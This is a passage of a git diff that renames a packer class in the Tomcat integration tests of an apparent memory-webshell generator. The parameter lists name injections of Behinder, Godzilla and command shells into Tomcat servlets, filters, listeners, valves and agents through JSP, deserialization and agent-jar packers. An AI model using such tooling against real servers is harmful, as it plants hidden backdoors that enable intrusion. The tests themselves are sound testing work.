Packers.JSP), + arguments(imageName, Constants.JAKARTA_SERVLET, ShellTool.Command, Packers.Deserialize), + arguments(imageName, Constants.JAKARTA_FILTER, ShellTool.Behinder, Packers.JSP), + arguments(imageName, Constants.JAKARTA_FILTER, ShellTool.Behinder, Packers.Deserialize), + arguments(imageName, Constants.JAKARTA_FILTER, ShellTool.Godzilla, Packers.JSP), + arguments(imageName, Constants.JAKARTA_FILTER, ShellTool.Godzilla, Packers.Deserialize), + arguments(imageName, Constants.JAKARTA_FILTER, ShellTool.Command, Packers.JSP), + arguments(imageName, Constants.JAKARTA_FILTER, ShellTool.Command, Packers.Deserialize), + arguments(imageName, Constants.JAKARTA_LISTENER, ShellTool.Behinder, Packers.JSP), + arguments(imageName, Constants.JAKARTA_LISTENER, ShellTool.Behinder, Packers.Deserialize), + arguments(imageName, Constants.JAKARTA_LISTENER, ShellTool.Godzilla, Packers.JSP), + arguments(imageName, Constants.JAKARTA_LISTENER, ShellTool.Godzilla, Packers.Deserialize), + arguments(imageName, Constants.JAKARTA_LISTENER, ShellTool.Command, Packers.JSP), + arguments(imageName, Constants.JAKARTA_LISTENER, ShellTool.Command, Packers.Deserialize), + arguments(imageName, Constants.JAKARTA_VALVE, ShellTool.Behinder, Packers.JSP), + arguments(imageName, Constants.JAKARTA_VALVE, ShellTool.Behinder, Packers.Deserialize), + arguments(imageName, Constants.JAKARTA_VALVE, ShellTool.Godzilla, Packers.JSP), + arguments(imageName, Constants.JAKARTA_VALVE, ShellTool.Godzilla, Packers.Deserialize), + arguments(imageName, Constants.JAKARTA_VALVE, ShellTool.Command, Packers.JSP), + arguments(imageName, Constants.JAKARTA_VALVE, ShellTool.Command, Packers.Deserialize), + arguments(imageName, Constants.AGENT_FILTER_CHAIN, ShellTool.Command, Packers.AgentJar), + arguments(imageName, Constants.AGENT_FILTER_CHAIN, ShellTool.Godzilla, Packers.AgentJar), + arguments(imageName, Constants.AGENT_FILTER_CHAIN, ShellTool.Behinder, Packers.AgentJar), + arguments(imageName, Constants.AGENT_CONTEXT_VALVE, ShellTool.Command, Packers.AgentJar), + arguments(imageName, Constants.AGENT_CONTEXT_VALVE, ShellTool.Godzilla, Packers.AgentJar), + arguments(imageName, Constants.AGENT_CONTEXT_VALVE, ShellTool.Behinder, Packers.AgentJar) ); } @@ -83,7 +83,7 @@ public class Tomcat10ContainerTest { @ParameterizedTest(name = "{0}|{1}{2}|{3}") @MethodSource("casesProvider") - void test(String imageName, String shellType, ShellTool shellTool, Packer.INSTANCE packer) { + void test(String imageName, String shellType, ShellTool shellTool, Packers packer) { testShellInjectAssertOk(getUrl(container), Server.Tomcat, shellType, shellTool, Opcodes.V11, packer, container); } } diff --git a/integration-test/src/test/java/com/reajason/javaweb/integration/tomcat/Tomcat11ContainerTest.java b/integration-test/src/test/java/com/reajason/javaweb/integration/tomcat/Tomcat11ContainerTest.java index 0f0d9a61..fa2bc1ca 100644 --- a/integration-test/src/test/java/com/reajason/javaweb/integration/tomcat/Tomcat11ContainerTest.java +++ b/integration-test/src/test/java/com/reajason/javaweb/integration/tomcat/Tomcat11ContainerTest.java @@ -3,7 +3,7 @@ package com.reajason.javaweb.integration.tomcat; import com.reajason.javaweb.memshell.config.Constants; import com.reajason.javaweb.memshell.config.Server; import com.reajason.javaweb.memshell.config.ShellTool; -import com.reajason.javaweb.memshell.packer.Packer; +import com.reajason.javaweb.memshell.packer.Packers; import lombok.extern.slf4j.Slf4j; import net.bytebuddy.jar.asm.Opcodes; import org.junit.jupiter.api.AfterAll; @@ -42,24 +42,24 @@ public class Tomcat11ContainerTest { static Stream casesProvider() { return Stream.of( - arguments(imageName, Constants.JAKARTA_SERVLET, ShellTool.Behinder, Packer.INSTANCE.JSP), - arguments(imageName, Constants.JAKARTA_SERVLET, ShellTool.Godzilla, Packer.INSTANCE.JSP), - arguments(imageName, Constants.JAKARTA_SERVLET, ShellTool.Command, Packer.INSTANCE.JSP), - arguments(imageName, Constants.JAKARTA_FILTER, ShellTool.Behinder, Packer.INSTANCE.JSP), - arguments(imageName, Constants.JAKARTA_FILTER, ShellTool.Godzilla, Packer.INSTANCE.JSP), - arguments(imageName, Constants.JAKARTA_FILTER, ShellTool.Command, Packer.INSTANCE.JSP), - arguments(imageName, Constants.JAKARTA_LISTENER, ShellTool.Behinder, Packer.INSTANCE.JSP), - arguments(imageName, Constants.JAKARTA_LISTENER, ShellTool.Godzilla, Packer.INSTANCE.JSP), - arguments(imageName, Constants.JAKARTA_LISTENER, ShellTool.Command, Packer.INSTANCE.JSP), - arguments(imageName, Constants.JAKARTA_VALVE, ShellTool.Behinder, Packer.INSTANCE.JSP), - arguments(imageName, Constants.JAKARTA_VALVE, ShellTool.Godzilla, Packer.INSTANCE.JSP), - arguments(imageName, Constants.JAKARTA_VALVE, ShellTool.Command, Packer.INSTANCE.JSP), - arguments(imageName, Constants.AGENT_FILTER_CHAIN, ShellTool.Command, Packer.INSTANCE.AgentJar), - arguments(imageName, Constants.AGENT_FILTER_CHAIN, ShellTool.Godzilla, Packer.INSTANCE.AgentJar), - arguments(imageName, Constants.AGENT_FILTER_CHAIN, ShellTool.Behinder, Packer.INSTANCE.AgentJar), - arguments(imageName, Constants.AGENT_CONTEXT_VALVE, ShellTool.Command, Packer.INSTANCE.AgentJar), - arguments(imageName, Constants.AGENT_CONTEXT_VALVE, ShellTool.Godzilla, Packer.INSTANCE.AgentJar), - arguments(imageName, Constants.AGENT_CONTEXT_VALVE, ShellTool.Behinder, Packer.INSTANCE.AgentJar) + arguments(imageName, Constants.JAKARTA_SERVLET, ShellTool.Behinder, Packers.JSP), + arguments(imageName, Constants.JAKARTA_SERVLET, ShellTool.Godzilla, Packers.JSP), + arguments(imageName, Constants.JAKARTA_SERVLET, ShellTool.Command, Packers.JSP), + arguments(imageName, Constants.JAKARTA_FILTER, ShellTool.Behinder, Packers.JSP), + arguments(imageName, Constants.JAKARTA_FILTER, ShellTool.Godzilla, Packers.JSP), + arguments(imageName, Constants.JAKARTA_FILTER, ShellTool.Command, Packers.JSP), + arguments(imageName, Constants.JAKARTA_LISTENER, ShellTool.Behinder, Packers.JSP), + arguments(imageName, Constants.JAKARTA_LISTENER, ShellTool.Godzilla, Packers.JSP), + arguments(imageName, Constants.JAKARTA_LISTENER, ShellTool.Command, Packers.JSP), + arguments(imageName, Constants.JAKARTA_VALVE, ShellTool.Behinder, Packers.JSP), + arguments(imageName, Constants.JAKARTA_VALVE, ShellTool.Godzilla, Packers.JSP), + arguments(imageName, Constants.JAKARTA_VALVE, ShellTool.Command, Packers.JSP), + arguments(imageName, Constants.AGENT_FILTER_CHAIN, ShellTool.Command, Packers.AgentJar), + arguments(imageName, Constants.AGENT_FILTER_CHAIN, ShellTool.Godzilla, Packers.AgentJar), + arguments(imageName, Constants.AGENT_FILTER_CHAIN, ShellTool.Behinder, Packers.AgentJar), + arguments(imageName, Constants.AGENT_CONTEXT_VALVE, ShellTool.Command, Packers.AgentJar), + arguments(imageName, Constants.AGENT_CONTEXT_VALVE, ShellTool.Godzilla, Packers.AgentJar), + arguments(imageName, Constants.AGENT_CONTEXT_VALVE, ShellTool.Behinder, Packers.AgentJar) ); } @@ -72,7 +72,7 @@ public class Tomcat11ContainerTest { @ParameterizedTest(name = "{0}|{1}{2}|{3}") @MethodSource("casesProvider") - void test(String imageName, String shellType, ShellTool shellTool, Packer.INSTANCE packer) { + void test(String imageName, String shellType, ShellTool shellTool, Packers packer) { testShellInjectAssertOk(getUrl(container), Server.Tomcat, shellType, shellTool, Opcodes.V17, packer, container); } } diff --git a/integration-test/src/test/java/com/reajason/javaweb/integration/tomcat/Tomcat11JRE21ContainerTest.java b/integration-test/src/test/java/com/reajason/javaweb/integration/tomcat/Tomcat11JRE21ContainerTest.java index 92f47122..772a184e 100644 --- a/integration-test/src/test/java/com/reajason/javaweb/integration/tomcat/Tomcat11JRE21ContainerTest.java +++ b/integration-test/src/test/java/com/reajason/javaweb/integration/tomcat/Tomcat11JRE21ContainerTest.java @@ -3,7 +3,7 @@ package com.reajason.javaweb.integration.tomcat; import com.reajason.javaweb.memshell.config.Constants; import com.reajason.javaweb.memshell.config.Server; import com.reajason.javaweb.memshell.config.ShellTool; -import com.reajason.javaweb.memshell.packer.Packer; +import com.reajason.javaweb.memshell.packer.Packers; import lombok.extern.slf4j.Slf4j; import net.bytebuddy.jar.asm.Opcodes; import org.junit.jupiter.api.AfterAll; @@ -42,24 +42,24 @@ public class Tomcat11JRE21ContainerTest { static Stream casesProvider() { return Stream.of( - arguments(imageName, Constants.JAKARTA_SERVLET, ShellTool.Behinder, Packer.INSTANCE.JSP), - arguments(imageName, Constants.JAKARTA_SERVLET, ShellTool.Godzilla, Packer.INSTANCE.JSP), - arguments(imageName, Constants.JAKARTA_SERVLET, ShellTool.Command, Packer.INSTANCE.JSP), - arguments(imageName, Constants.JAKARTA_FILTER, ShellTool.Behinder, Packer.INSTANCE.JSP), - arguments(imageName, Constants.JAKARTA_FILTER, ShellTool.Godzilla, Packer.INSTANCE.JSP), - arguments(imageName, Constants.JAKARTA_FILTER, ShellTool.Command, Packer.INSTANCE.JSP), - arguments(imageName, Constants.JAKARTA_LISTENER, ShellTool.Behinder, Packer.INSTANCE.JSP), - arguments(imageName, Constants.JAKARTA_LISTENER, ShellTool.Godzilla, Packer.INSTANCE.JSP), - arguments(imageName, Constants.JAKARTA_LISTENER, ShellTool.Command, Packer.INSTANCE.JSP), - arguments(imageName, Constants.JAKARTA_VALVE, ShellTool.Behinder, Packer.INSTANCE.JSP), - arguments(imageName, Constants.JAKARTA_VALVE, ShellTool.Godzilla, Packer.INSTANCE.JSP), - arguments(imageName, Constants.JAKARTA_VALVE, ShellTool.Command, Packer.INSTANCE.JSP), - arguments(imageName, Constants.AGENT_FILTER_CHAIN, ShellTool.Command, Packer.INSTANCE.AgentJar), - arguments(imageName, Constants.AGENT_FILTER_CHAIN, ShellTool.Godzilla, Packer.INSTANCE.AgentJar), - arguments(imageName, Constants.AGENT_FILTER_CHAIN, ShellTool.Behinder, Packer.INSTANCE.AgentJar), - arguments(imageName, Constants.AGENT_CONTEXT_VALVE, ShellTool.Command, Packer.INSTANCE.AgentJar), - arguments(imageName, Constants.AGENT_CONTEXT_VALVE, ShellTool.Godzilla, Packer.INSTANCE.AgentJar), - arguments(imageName, Constants.AGENT_CONTEXT_VALVE, ShellTool.Behinder, Packer.INSTANCE.AgentJar) + arguments(imageName, Constants.JAKARTA_SERVLET, ShellTool.Behinder, Packers.JSP), + arguments(imageName, Constants.JAKARTA_SERVLET, ShellTool.Godzilla, Packers.JSP), + arguments(imageName, Constants.JAKARTA_SERVLET, ShellTool.Command, Packers.JSP), + arguments(imageName, Constants.JAKARTA_FILTER, ShellTool.Behinder, Packers.JSP), + arguments(imageName, Constants.JAKARTA_FILTER, ShellTool.Godzilla, Packers.JSP), + arguments(imageName, Constants.JAKARTA_FILTER, ShellTool.Command, Packers.JSP), + arguments(imageName, Constants.JAKARTA_LISTENER, ShellTool.Behinder, Packers.JSP), + arguments(imageName, Constants.JAKARTA_LISTENER, ShellTool.Godzilla, Packers.JSP), + arguments(imageName, Constants.JAKARTA_LISTENER, ShellTool.Command, Packers.JSP), + arguments(imageName, Constants.JAKARTA_VALVE, ShellTool.Behinder, Packers.JSP), + arguments(imageName, Constants.JAKARTA_VALVE, ShellTool.Godzilla, Packers.JSP), + arguments(imageName, Constants.JAKARTA_VALVE, ShellTool.Command, Packers.JSP), + arguments(imageName, Constants.AGENT_FILTER_CHAIN, ShellTool.Command, Packers.AgentJar), + arguments(imageName, Constants.AGENT_FILTER_CHAIN, ShellTool.Godzilla, Packers.AgentJar), + arguments(imageName, Constants.AGENT_FILTER_CHAIN, ShellTool.Behinder, Packers.AgentJar), + arguments(imageName, Constants.AGENT_CONTEXT_VALVE, ShellTool.Command, Packers.AgentJar), + arguments(imageName, Constants.AGENT_CONTEXT_VALVE, ShellTool.Godzilla, Packers.AgentJar), + arguments(imageName, Constants.AGENT_CONTEXT_VALVE, ShellTool.Behinder, Packers.AgentJar) ); } @@ -72,7 +72,7 @@ public class Tomcat11JRE21ContainerTest { @ParameterizedTest(name = "{0}|{1}{2}|{3}") @MethodSource("casesProvider") - void test(String imageName, String shellType, ShellTool shellTool, Packer.INSTANCE packer) { + void test(String imageName, String shellType, ShellTool shellTool, Packers packer) { testShellInjectAssertOk(getUrl(container), Server.Tomcat, shellType, shellTool, Opcodes.V21, packer, container); } } diff --git a/integration-test/src/test/java/com/reajason/javaweb/integration/tomcat/Tomcat5ContainerTest.java b/integration-test/src/test/java/com/reajason/javaweb/integration/tomcat/Tomcat5ContainerTest.java index 61be7582..9ec5cf3d 100644 --- a/integration-test/src/test/java/com/reajason/javaweb/integration/tomcat/Tomcat5ContainerTest.java +++ b/integration-test/src/test/java/com/reajason/javaweb/integration/tomcat/Tomcat5ContainerTest.java @@ -3,7 +3,7 @@ package com.reajason.javaweb.integration.tomcat; import com.reajason.javaweb.memshell.config.Constants; import com.reajason.javaweb.memshell.config.Server; import com.reajason.javaweb.memshell.config.ShellTool; -import com.reajason.javaweb.memshell.packer.Packer; +import com.reajason.javaweb.memshell.packer.Packers; import lombok.extern.slf4j.Slf4j; import net.bytebuddy.jar.asm.Opcodes; import org.junit.jupiter.api.AfterAll; @@ -41,30 +41,30 @@ public class Tomcat5ContainerTest { static Stream casesProvider() { return Stream.of( - arguments(imageName, Constants.SERVLET, ShellTool.Behinder, Packer.INSTANCE.JSP), - arguments(imageName, Constants.SERVLET, ShellTool.Behinder, Packer.INSTANCE.Deserialize), - arguments(imageName, Constants.SERVLET, ShellTool.Godzilla, Packer.INSTANCE.JSP), - arguments(imageName, Constants.SERVLET, ShellTool.Godzilla, Packer.INSTANCE.Deserialize), - arguments(imageName, Constants.SERVLET, ShellTool.Command, Packer.INSTANCE.JSP), - arguments(imageName, Constants.SERVLET, ShellTool.Command, Packer.INSTANCE.Deserialize), - arguments(imageName, Constants.FILTER, ShellTool.Behinder, Packer.INSTANCE.JSP), - arguments(imageName, Constants.FILTER, ShellTool.Behinder, Packer.INSTANCE.Deserialize), - arguments(imageName, Constants.FILTER, ShellTool.Godzilla, Packer.INSTANCE.JSP), - arguments(imageName, Constants.FILTER, ShellTool.Godzilla, Packer.INSTANCE.Deserialize), - arguments(imageName, Constants.FILTER, ShellTool.Command, Packer.INSTANCE.JSP), - arguments(imageName, Constants.FILTER, ShellTool.Command, Packer.INSTANCE.Deserialize), - arguments(imageName, Constants.LISTENER, ShellTool.Behinder, Packer.INSTANCE.JSP), - arguments(imageName, Constants.LISTENER, ShellTool.Behinder, Packer.INSTANCE.Deserialize), - arguments(imageName, Constants.LISTENER, ShellTool.Godzilla, Packer.INSTANCE.JSP), - arguments(imageName, Constants.LISTENER, ShellTool.Godzilla, Packer.INSTANCE.Deserialize), - arguments(imageName, Constants.LISTENER, ShellTool.Command, Packer.INSTANCE.JSP), - arguments(imageName, Constants.LISTENER, ShellTool.Command, Packer.INSTANCE.Deserialize), - arguments(imageName, Constants.VALVE, ShellTool.Behinder, Packer.INSTANCE.JSP), - arguments(imageName, Constants.VALVE, ShellTool.Behinder, Packer.INSTANCE.Deserialize), - arguments(imageName, Constants.VALVE, ShellTool.Godzilla, Packer.INSTANCE.JSP), - arguments(imageName, Constants.VALVE, ShellTool.Godzilla, Packer.INSTANCE.Deserialize), - arguments(imageName, Constants.VALVE, ShellTool.Command, Packer.INSTANCE.JSP), - arguments(imageName, Constants.VALVE, ShellTool.Command, Packer.INSTANCE.Deserialize) + arguments(imageName, Constants.SERVLET, ShellTool.Behinder, Packers.JSP), + arguments(imageName, Constants.SERVLET, ShellTool.Behinder, Packers.Deserialize), + arguments(imageName, Constants.SERVLET, ShellTool.Godzilla, Packers.JSP), + arguments(imageName, Constants.SERVLET, ShellTool.Godzilla, Packers.Deserialize), + arguments(imageName, Constants.SERVLET, ShellTool.Command, Packers.JSP), + arguments(imageName, Constants.SERVLET, ShellTool.Command, Packers.Deserialize), + arguments(imageName, Constants.FILTER, ShellTool.Behinder, Packers.JSP), + arguments(imageName, Constants.FILTER, ShellTool.Behinder, Packers.Deserialize), + arguments(imageName, Constants.FILTER, ShellTool.Godzilla, Packers.JSP), + arguments(imageName, Constants.FILTER, ShellTool.Godzilla, Packers.Deserialize), + arguments(imageName, Constants.FILTER, ShellTool.Command, Packers.JSP), + arguments(imageName, Constants.FILTER, ShellTool.Command, Packers.Deserialize), + arguments(imageName, Constants.LISTENER, ShellTool.Behinder, Packers.JSP), + arguments(imageName, Constants.LISTENER, ShellTool.Behinder, Packers.Deserialize), + arguments(imageName, Constants.LISTENER, ShellTool.Godzilla, Packers.JSP), + arguments(imageName, Constants.LISTENER, ShellTool.Godzilla, Packers.Deserialize), + arguments(imageName, Constants.LISTENER, ShellTool.Command, Packers.JSP), + arguments(imageName, Constants.LISTENER, ShellTool.Command, Packers.Deserialize), + arguments(imageName, Constants.VALVE, ShellTool.Behinder, Packers.JSP), + arguments(imageName, Constants.VALVE, ShellTool.Behinder, Packers.Deserialize), + arguments(imageName, Constants.VALVE, ShellTool.Godzilla, Packers.JSP), + arguments(imageName, Constants.VALVE, ShellTool.Godzilla, Packers.Deserialize), + arguments(imageName, Constants.VALVE, ShellTool.Command, Packers.JSP), + arguments(imageName, Constants.VALVE, ShellTool.Command, Packers.Deserialize) // arguments(imageName, TomcatShell.AGENT_FILTER_CHAIN, ShellTool.Command, Packer.INSTANCE.AgentJar) // arguments(imageName, TomcatShell.AGENT_FILTER_CHAIN, ShellTool.Godzilla, Packer.INSTANCE.AgentJar), // arguments(imageName, TomcatShell.AGENT_FILTER_CHAIN, ShellTool.Behinder, Packer.INSTANCE.AgentJar) @@ -80,7 +80,7 @@ public class Tomcat5ContainerTest { @ParameterizedTest(name = "{0}|{1}{2}|{3}") @MethodSource("casesProvider") - void test(String imageName, String shellType, ShellTool shellTool, Packer.INSTANCE packer) { + void test(String imageName, String shellType, ShellTool shellTool, Packers packer) { testShellInjectAssertOk(getUrl(container), Server.Tomcat, shellType, shellTool, Opcodes.V1_6, packer, container); } } \ No newline at end of file diff --git a/integration-test/src/test/java/com/reajason/javaweb/integration/tomcat/Tomcat6ContainerTest.java b/integration-test/src/test/java/com/reajason/javaweb/integration/tomcat/Tomcat6ContainerTest.java index 5bf77014..ebb0b071 100644 --- a/integration-test/src/test/java/com/reajason/javaweb/integration/tomcat/Tomcat6ContainerTest.java +++ b/integration-test/src/test/java/com/reajason/javaweb/integration/tomcat/Tomcat6ContainerTest.java @@ -3,7 +3,7 @@ package com.reajason.javaweb.integration.tomcat; import com.reajason.javaweb.memshell.config.Constants; import com.reajason.javaweb.memshell.config.Server; import com.reajason.javaweb.memshell.config.ShellTool; -import com.reajason.javaweb.memshell.packer.Packer; +import com.reajason.javaweb.memshell.packer.Packers; import lombok.extern.slf4j.Slf4j; import net.bytebuddy.jar.asm.Opcodes; import org.junit.jupiter.api.AfterAll; @@ -42,36 +42,36 @@ public class Tomcat6ContainerTest { static Stream casesProvider() { return Stream.of( - arguments(imageName, Constants.SERVLET, ShellTool.Behinder, Packer.INSTANCE.JSP), - arguments(imageName, Constants.SERVLET, ShellTool.Behinder, Packer.INSTANCE.Deserialize), - arguments(imageName, Constants.SERVLET, ShellTool.Godzilla, Packer.INSTANCE.JSP), - arguments(imageName, Constants.SERVLET, ShellTool.Godzilla, Packer.INSTANCE.Deserialize), - arguments(imageName, Constants.SERVLET, ShellTool.Command, Packer.INSTANCE.JSP), - arguments(imageName, Constants.SERVLET, ShellTool.Command, Packer.INSTANCE.Deserialize), - arguments(imageName, Constants.FILTER, ShellTool.Behinder, Packer.INSTANCE.JSP), - arguments(imageName, Constants.FILTER, ShellTool.Behinder, Packer.INSTANCE.Deserialize), - arguments(imageName, Constants.FILTER, ShellTool.Godzilla, Packer.INSTANCE.JSP), - arguments(imageName, Constants.FILTER, ShellTool.Godzilla, Packer.INSTANCE.Deserialize), - arguments(imageName, Constants.FILTER, ShellTool.Command, Packer.INSTANCE.JSP), - arguments(imageName, Constants.FILTER, ShellTool.Command, Packer.INSTANCE.Deserialize), - arguments(imageName, Constants.LISTENER, ShellTool.Behinder, Packer.INSTANCE.JSP), - arguments(imageName, Constants.LISTENER, ShellTool.Behinder, Packer.INSTANCE.Deserialize), - arguments(imageName, Constants.LISTENER, ShellTool.Godzilla, Packer.INSTANCE.JSP), - arguments(imageName, Constants.LISTENER, ShellTool.Godzilla, Packer.INSTANCE.Deserialize), - arguments(imageName, Constants.LISTENER, ShellTool.Command, Packer.INSTANCE.JSP), - arguments(imageName, Constants.LISTENER, ShellTool.Command, Packer.INSTANCE.Deserialize), - arguments(imageName, Constants.VALVE, ShellTool.Behinder, Packer.INSTANCE.JSP), - arguments(imageName, Constants.VALVE, ShellTool.Behinder, Packer.INSTANCE.Deserialize), - arguments(imageName, Constants.VALVE, ShellTool.Godzilla, Packer.INSTANCE.JSP), - arguments(imageName, Constants.VALVE, ShellTool.Godzilla, Packer.INSTANCE.Deserialize), - arguments(imageName, Constants.VALVE, ShellTool.Command, Packer.INSTANCE.JSP), - arguments(imageName, Constants.VALVE, ShellTool.Command, Packer.INSTANCE.Deserialize), - arguments(imageName, Constants.AGENT_FILTER_CHAIN, ShellTool.Command, Packer.INSTANCE.AgentJar), - arguments(imageName, Constants.AGENT_FILTER_CHAIN, ShellTool.Godzilla, Packer.INSTANCE.AgentJar), - arguments(imageName, Constants.AGENT_FILTER_CHAIN, ShellTool.Behinder, Packer.INSTANCE.AgentJar), - arguments(imageName, Constants.AGENT_CONTEXT_VALVE, ShellTool.Command, Packer.INSTANCE.AgentJar), - arguments(imageName, Constants.AGENT_CONTEXT_VALVE, ShellTool.Godzilla, Packer.INSTANCE.AgentJar), - arguments(imageName, Constants.AGENT_CONTEXT_VALVE, ShellTool.Behinder, Packer.INSTANCE.AgentJar) + arguments(imageName, Constants.SERVLET, ShellTool.Behinder, Packers.JSP), + arguments(imageName, Constants.SERVLET, ShellTool.Behinder, Packers.Deserialize), + arguments(imageName, Constants.SERVLET, ShellTool.Godzilla, Packers.JSP), + arguments(imageName, Constants.SERVLET, ShellTool.Godzilla, Packers.Deserialize), + arguments(imageName, Constants.SERVLET, ShellTool.Command, Packers.JSP), + arguments(imageName, Constants.SERVLET, ShellTool.Command, Packers.Deserialize), + arguments(imageName, Constants.FILTER, ShellTool.Behinder, Packers.JSP), + arguments(imageName, Constants.FILTER, ShellTool.Behinder, Packers.Deserialize), + arguments(imageName, Constants.FILTER, ShellTool.Godzilla, Packers.JSP), + arguments(imageName, Constants.FILTER, ShellTool.Godzilla, Packers.Deserialize), + arguments(imageName, Constants.FILTER, ShellTool.Command, Packers.JSP), + arguments(imageName, Constants.FILTER, ShellTool.Command, Packers.Deserialize), + arguments(imageName, Constants.LISTENER, ShellTool.Behinder, Packers.JSP), + arguments(imageName, Constants.LISTENER, ShellTool.Behinder, Packers.Deserialize), + arguments(imageName, Constants.LISTENER, ShellTool.Godzilla, Packers.JSP), + arguments(imageName, Constants.LISTENER, ShellTool.Godzilla, Packers.Deserialize), + arguments(imageName, Constants.LISTENER, ShellTool.Command, Packers.JSP), + arguments(imageName, Constants.LISTENER, ShellTool.Command, Packers.Deserialize), + arguments(imageName, Constants.VALVE, ShellTool.Behinder, Packers.JSP), + arguments(imageName, Constants.VALVE, ShellTool.Behinder, Packers.Deserialize), + arguments(imageName, Constants.VALVE, ShellTool.Godzilla, Packers.JSP), + arguments(imageName, Constants.VALVE, ShellTool.Godzilla, Packers.Deserialize), + arguments(imageName, Constants.VALVE, ShellTool.Command, Packers.JSP), + arguments(imageName, Constants.VALVE, ShellTool.Command, Packers.Deserialize), + arguments(imageName, Constants.AGENT_FILTER_CHAIN, ShellTool.Command, Packers.AgentJar), + arguments(imageName, Constants.AGENT_FILTER_CHAIN, ShellTool.Godzilla, Packers.AgentJar), + arguments(imageName, Constants.AGENT_FILTER_CHAIN, ShellTool.Behinder, Packers.AgentJar), + arguments(imageName, Constants.AGENT_CONTEXT_VALVE, ShellTool.Command, Packers.AgentJar), + arguments(imageName, Constants.AGENT_CONTEXT_VALVE, ShellTool.Godzilla, Packers.AgentJar), + arguments(imageName, Constants.AGENT_CONTEXT_VALVE, ShellTool.Behinder, Packers.AgentJar) ); } @@ -84,7 +84,7 @@ public class Tomcat6ContainerTest { @ParameterizedTest(name = "{0}|{1}{2}|{3}") @MethodSource("casesProvider") - void test(String imageName, String shellType, ShellTool shellTool, Packer.INSTANCE packer) { + void test(String imageName, String shellType, ShellTool shellTool, Packers packer) { testShellInjectAssertOk(getUrl(container), Server.Tomcat, shellType, shellTool, Opcodes.V1_6, packer, container); } } \ No newline at end of file diff --git a/integration-test/src/test/java/com/reajason/javaweb/integration/tomcat/Tomcat7ContainerTest.java b/integration-test/src/test/java/com/reajason/javaweb/integration/tomcat/Tomcat7ContainerTest.java index 50f991d2..b8b70bfc 100644 --- a/integration-test/src/test/java/com/reajason/javaweb/integration/tomcat/Tomcat7ContainerTest.java +++ b/integration-test/src/test/java/com/reajason/javaweb/integration/tomcat/Tomcat7ContainerTest.java @@ -3,7 +3,7 @@ package com.reajason.javaweb.integration.tomcat; import com.reajason.javaweb.memshell.config.Constants; import com.reajason.javaweb.memshell.config.Server; import com.reajason.javaweb.memshell.config.ShellTool; -import com.reajason.javaweb.memshell.packer.Packer; +import com.reajason.javaweb.memshell.packer.Packers; import lombok.extern.slf4j.Slf4j; import net.bytebuddy.jar.asm.Opcodes; import org.junit.jupiter.api.AfterAll; @@ -42,36 +42,36 @@ public class Tomcat7ContainerTest { static Stream casesProvider() { return Stream.of( - arguments(imageName, Constants.SERVLET, ShellTool.Behinder, Packer.INSTANCE.JSP), - arguments(imageName, Constants.SERVLET, ShellTool.Behinder, Packer.INSTANCE.Deserialize), - arguments(imageName, Constants.SERVLET, ShellTool.Godzilla, Packer.INSTANCE.JSP), - arguments(imageName, Constants.SERVLET, ShellTool.Godzilla, Packer.INSTANCE.Deserialize), - arguments(imageName, Constants.SERVLET, ShellTool.Command, Packer.INSTANCE.JSP), - arguments(imageName, Constants.SERVLET, ShellTool.Command, Packer.INSTANCE.Deserialize), - arguments(imageName, Constants.FILTER, ShellTool.Behinder, Packer.INSTANCE.JSP), - arguments(imageName, Constants.FILTER, ShellTool.Behinder, Packer.INSTANCE.Deserialize), - arguments(imageName, Constants.FILTER, ShellTool.Godzilla, Packer.INSTANCE.JSP), - arguments(imageName, Constants.FILTER, ShellTool.Godzilla, Packer.INSTANCE.Deserialize), - arguments(imageName, Constants.FILTER, ShellTool.Command, Packer.INSTANCE.JSP), - arguments(imageName, Constants.FILTER, ShellTool.Command, Packer.INSTANCE.Deserialize), - arguments(imageName, Constants.LISTENER, ShellTool.Behinder, Packer.INSTANCE.JSP), - arguments(imageName, Constants.LISTENER, ShellTool.Behinder, Packer.INSTANCE.Deserialize), - arguments(imageName, Constants.LISTENER, ShellTool.Godzilla, Packer.INSTANCE.JSP), - arguments(imageName, Constants.LISTENER, ShellTool.Godzilla, Packer.INSTANCE.Deserialize), - arguments(imageName, Constants.LISTENER, ShellTool.Command, Packer.INSTANCE.JSP), - arguments(imageName, Constants.LISTENER, ShellTool.Command, Packer.INSTANCE.Deserialize), - arguments(imageName, Constants.VALVE, ShellTool.Behinder, Packer.INSTANCE.JSP), - arguments(imageName, Constants.VALVE, ShellTool.Behinder, Packer.INSTANCE.Deserialize), - arguments(imageName, Constants.VALVE, ShellTool.Godzilla, Packer.INSTANCE.JSP), - arguments(imageName, Constants.VALVE, ShellTool.Godzilla, Packer.INSTANCE.Deserialize), - arguments(imageName, Constants.VALVE, ShellTool.Command, Packer.INSTANCE.JSP), - arguments(imageName, Constants.VALVE, ShellTool.Command, Packer.INSTANCE.Deserialize), - arguments(imageName, Constants.AGENT_FILTER_CHAIN, ShellTool.Command, Packer.INSTANCE.AgentJar), - arguments(imageName, Constants.AGENT_FILTER_CHAIN, ShellTool.Godzilla, Packer.INSTANCE.AgentJar), - arguments(imageName, Constants.AGENT_FILTER_CHAIN, ShellTool.Behinder, Packer.INSTANCE.AgentJar), - arguments(imageName, Constants.AGENT_CONTEXT_VALVE, ShellTool.Command, Packer.INSTANCE.AgentJar), - arguments(imageName, Constants.AGENT_CONTEXT_VALVE, ShellTool.Godzilla, Packer.INSTANCE.AgentJar), - arguments(imageName, Constants.AGENT_CONTEXT_VALVE, ShellTool.Behinder, Packer.INSTANCE.AgentJar) + arguments(imageName, Constants.SERVLET, ShellTool.Behinder, Packers.JSP), + arguments(imageName, Constants.SERVLET, ShellTool.Behinder, Packers.Deserialize), + arguments(imageName, Constants.SERVLET, ShellTool.Godzilla, Packers.JSP), + arguments(imageName, Constants.SERVLET, ShellTool.Godzilla, Packers.Deserialize), + arguments(imageName, Constants.SERVLET, ShellTool.Command, Packers.JSP), + arguments(imageName, Constants.SERVLET, ShellTool.Command, Packers.Deserialize), + arguments(imageName, Constants.FILTER, ShellTool.Behinder, Packers.JSP), + arguments(imageName, Constants.FILTER, ShellTool.Behinder, Packers.Deserialize), + arguments(imageName, Constants.FILTER, ShellTool.Godzilla, Packers.JSP), + arguments(imageName, Constants.FILTER, ShellTool.Godzilla, Packers.Deserialize), + arguments(imageName, Constants.FILTER, ShellTool.Command, Packers.JSP), + arguments(imageName, Constants.FILTER, ShellTool.Command, Packers.Deserialize), + arguments(imageName, Constants.LISTENER, ShellTool.Behinder, Packers.JSP), + arguments(imageName, Constants.LISTENER, ShellTool.Behinder, Packers.Deserialize), + arguments(imageName, Constants.LISTENER, ShellTool.Godzilla, Packers.JSP), + arguments(imageName, Constants.LISTENER, ShellTool.Godzilla, Packers.Deserialize), + 